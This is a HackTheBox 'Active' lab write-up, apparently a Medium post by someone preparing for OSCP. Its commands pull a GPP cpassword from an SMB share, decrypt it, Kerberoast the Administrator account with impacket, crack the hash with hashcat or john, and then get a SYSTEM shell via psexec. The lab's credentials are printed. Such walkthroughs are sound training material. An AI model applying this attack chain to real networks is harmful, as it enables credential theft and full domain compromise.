ACTIVE — HackTheBox WriteUp

This box is a part of TJnull’s list of boxes. I am doing these boxes as a part of my preparation for OSCP. I will be sharing the writeups of the same here as well.

Do a rustscan to check for open ports:

A lot of ports, hmm… ok. Port 88 is open so we can maybe try Kerberoasting in this machine. Anyways, let’s check out SMB first.

smbclient -L \\\\active.htb\\

We can read files in the Replication share.

smbclient \\\\active.htb\\Replication

Next thing I did was, to download all the files and directories from here, with the following commands:

smb: \> recurse ONsmb: \> prompt OFFsmb: \> mget *

While exploring, I found this file : active.htb/Policies/{31B2F340–016D-11D2–945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

As it can be seen, we have found username and a password. The password is in encrypted format.
To learn more about the encryption, you can refer here.
To decrypt this password, I used gpp-decrypt.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

I got the password as: GPPstillStandingStrong2k18.
I looked up the internet for some articles and videos on Kerberoasting, I found these quite helpful :

Now, let’s check for the SPNs by this command:

impacket-GetUserSPNs -dc-ip active.htb/SVC_TGS

So, we do have an SPN with name as Administrator. Now, let’s try and get the password hash:

impacket-GetUserSPNs -dc-ip active.htb/SVC_TGS -request

We get this password hash:


[NOTE: If you get an error like “[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)” while running, try killing the ntp or ntpupdate process using its Process ID, then run:

Let’s crack the password using hashcat:

.\hashcat.exe -m 13100 -a 0 .\hash.txt .\wordlists\rockyou.txt --force

I ran hashcat on windows, you can run it on your Linux machine as well. Either check the hashcat.potfile or run the above command with the show tag to see the password, i.e., :

.\hashcat.exe -m 13100 -a 0 .\hash.txt .\wordlists\rockyou.txt --force --show

We get the password as : Ticketmaster1968
You can crack the password using john as well. This is the command:

john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Next, let’s try logging in to SMB using the creds we just found:

smbclient \\\\active.htb\\ADMIN$ -U Administrator

So, great! We are logged in to SMB. Ummm… I didn’t find anything useful in the ADMIN$ share, let’s try some other.

smbclient \\\\active.htb\\Users -U Administrator

You can also connect to the C$ share, that it just one directory parent to the Users share. Nevertheless, you can get the user and root flags from here as well, but we are gonna enumerate a little further and try to get a shell. Run this:

impacket-psexec active.htb/Administrator:Ticketmaster1968@active.htb

And, we have got a shell as nt authority\system! Get user.txt from C:\Users\SVC_TGS\Desktop\user.txt and root.txt from C:\Users\Administrator\Desktop\root.txt.

We have successfully pwned the box!




Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

CS371p Spring 2021: Final Entry

Why do I need Serverless 360

Dockerized Backend Server — AwesomePhotoApp

ANU #81 — New Payment Updates and New Support Language

Twig : PHP Template engine

Floyd Warshall Algorithm

Find minimum and maximum

[Android] DataBinding-ktx 5.0.0 and ViewBinding-ktx 1.0.0 Released

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Himanshu Das

Himanshu Das

More from Medium

Shocker | HackTheBox writeup

HackTheBox: Horizontall Writeup

SQL injection Union attack: Determining the number of columns required in an SQL injection UNION…

Basic Pentesting | TryHackMe Walkthrough